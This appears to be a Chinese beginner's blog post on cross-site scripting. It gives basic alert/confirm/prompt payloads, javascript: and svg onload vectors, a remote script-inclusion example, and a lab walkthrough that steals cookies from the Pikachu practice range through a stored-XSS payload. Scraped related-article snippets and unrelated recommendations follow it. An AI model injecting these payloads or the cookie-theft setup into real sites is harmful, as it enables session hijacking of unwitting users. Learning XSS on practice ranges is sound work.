XSS在线测试环境:
https://brutelogic.com.br/xss.php
这两个站对xss的理解很有帮助!!!
参考链接:
https://www.anquanke.com/post/id/86585
https://www.jianshu.com/p/99cf89bb65c3
开始学习------><-------
XSS简介:
XSS,跨站脚本攻击,Cross-Site-Scripting,由于简写与css(层叠样式脚本)重名,故更名为xss。xss就是基于javascript语句完成恶意的攻击行为。JS可以很灵活的操作html,css和浏览器。这也使得xss的攻击范围很大。
XSS利用方向:
- 盗取用户账号
- 盗取cookie资料
- 劫持用户会话,进行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
说实话,以上几种我都不会,只会搞下小框框,毕竟没有违法犯罪牟利的需求。好吧,主要还是因为菜。
XSS的利用原理:
浏览器没有过滤客户端输入的JS语句,导致可以执行JS代码,这就是XSS漏洞。
XSS的简单验证poc:
<script>alert(/xss/)</script>常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
XSS的分类:
1.反射型xss
反射型xss是非持久性、参数型的跨站脚本,JS代码在web应用的参数中,如我们最常见的搜索框。
2.存储型xss
存储型xss是持久型跨站,不存在某一参数中,写进数据库或文件中等能永久保存数据的地方;并且需要客户浏览器从服务器再请求到这些包含了恶意的XSS代码的页面,这才触发。
3.DOM型xss
DOM型的xss,其攻击的payload是修改受害者浏览器页面的DOM树结构而完成执行。这里由于payload是在浏览器本地修改DOM树,并不会传到服务器上,故DOM型比较难检测。
XSS的构造:构造形式是多种多样的,包括但不限于以下
- 简单的xss:<script>alert(/xss/)</script>
- 伪协议利用:<a href="javascript:alert(/xss/)">touch me!</a> <img src="javascript:alert('xss')">
- HTML事件:这个请参考https://www.w3school.com.cn/tags/html_ref_eventattributes.asp <svg onload=alert(111)>
XSS的变形:对于绕过防护,变形是个技巧,此处不提。
shellcode的调用:
shellcode就是在利用漏洞使所执行的代码,完整的xss攻击,会将shellcode存放在某服务器上,在触发xss时调用shellcode。如<script src="http://localhost/XSS-TEST/normal/xss.js"></script>
小实验:劫持cookie
植入一个存储型xss,待管理员查看或触发时,cookie被发送到hacker服务器上,再利用cookie重放登录。
截图:
- 注册一个xss平台账户,新建一个项目,选择模块,或者自定义模块,对模块好奇的可以展开详情查看代码
- 我在这里选择默认的模块,勾选keepsession,保存下session信息
- 点击完成后就会生成payload,随便选择一个copy下来
- 这里我找了一个带stored xss的靶场,pikachu,https://github.com/zhuifengshaonianhanlu/pikachu,将payload注入进去,页面没有弹框,刷新一下,看不出异常。
- 到xss平台下查看,是否有返回的信息,这个网站卡的可以。。可以看到,返回了cookie信息。
常见web漏洞整理之进击吧xss!!!的更多相关文章
-
十大常见web漏洞及防范
十大常见web漏洞 一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了 ...
-
常见web漏洞
常见的web漏洞——文件上传漏洞 一.文件上传漏洞概述 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击方式是最为直接和有效的,有时候几乎没 ...
-
常见web漏洞的整理之SQL注入
SQL注入: 简介: 全称Structured Query Language,即结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言.也被作为关系式数据库管理系统的标准语言. 原理: ...
-
SRC常见WEB漏洞系列之HTTP-HOST头攻击
一.背景: web程序需要知道网站的域名比较麻烦,需要使用HTTP的 host头字段: <?php _SERVER["HTTP_HOST"] ?> @app.route ...
-
常见web漏洞修复方法
方法如下: 漏洞修复.(输入过滤,输出转义) 1.在连接数据库时,在接收参数后进行转义,$id = mysql_real_escape_string($id); 2.在网页源码中在接收参数后可用htm ...
-
WEB漏洞 XSS(一)
1.xss的形成原理 xss 中文名是“跨站脚本攻击”,英文名“Cross Site Scripting”.xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML ...
-
常见WEB开发安全漏洞 原因分析及解决
目 录 1 会话标识未更新 3 1.1 原因 3 1.2 解决 3 2 SQL注入 3 2.1 原因 3 2.2 解决 5 3 XSS跨站脚本编制 5 3.1 原因 5 3.2 解决 5 4 XSRF ...
-
常见 WEB 安全漏洞(转)
SQL注入 成因:程序未对用户的输入的内容进行过滤,从而直接代入数据库查询,所以导致了sql 注入 漏洞 . 思路:在URL处可以通过 单引号 和 and 1=1 and 1=2 等语句进行手工测试s ...
-
web漏洞-命令执行、文件上传、XSS
一.命令执行 1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...
随机推荐
-
selenium+python笔记4
#!/usr/bin/env python # -*- coding: utf-8 -*- """ @desc: 使用unittest组织用例 ""& ...
-
part 3 Controllers in AngularJS
What happens if the controller name is misspelled? When the controller name is misspelled, 2 things ...
-
java入门学习(十一)逻辑运算符和位运算符
请关注我的博客:www.taomaipin.com 家里有急事 暂停了几天,抱歉,现在呢开始说说java的运算语句和运算符 如果想利用java的运算语句 那么就离不开java的运算符,前面第九章讲了j ...
-
源码(08) -- java.util.ListIterator<;E>;
java.util.ListIterator<E> 源码分析(JDK1.7) ------------------------------------------------------- ...
-
1179: [Apio2009]Atm
1179: [Apio2009]Atm Time Limit: 15 Sec Memory Limit: 162 MBSubmit: 1629 Solved: 615[Submit][Status ...
-
数据挖掘 ID3
本文讲的是数据挖掘中的ID3,这个有很多人做了,我也没有说什么改善,只是要考试,用我考试记录的来写,具有很大主观性,如果看到有觉得不对或感觉不好,请关掉浏览器或和我说,请不要生气或发不良的言论. 决策 ...
-
Java内存管理及对Java对象管理
Java内存管理及对Java对象管理 1Java内存管理 1.1Java中的堆和栈 通常来说,人们会将Java内存氛围栈内存(Stack)和堆内存(Heap). 栈内存用来保存基本类型的变量和对象的引 ...
-
js学习(五)-全局函数和类内部函数区别
//---------------------------js代码--------------------------- function User(){ //类成员的定义及构造函数 th ...
-
Hibernate每个层次类一张表(使用注释)
在上一文章中,我们使用xml文件将继承层次映射到一个表. 在这里,我们将使用注释来执行同样的任务.需要使用@Inheritance(strategy = InheritanceType.SINGLE_ ...
-
vijos 1250 最勇敢的机器人 分组背包+并查集
P1250最勇敢的机器人 背景 Wind设计了很多机器人.但是它们都认为自己是最强的,于是,一场比赛开始了~ 描述 机器人们都想知道谁是最勇敢的,于是它们比赛搬运一些物品. 它们到了一个仓库,里面有n ...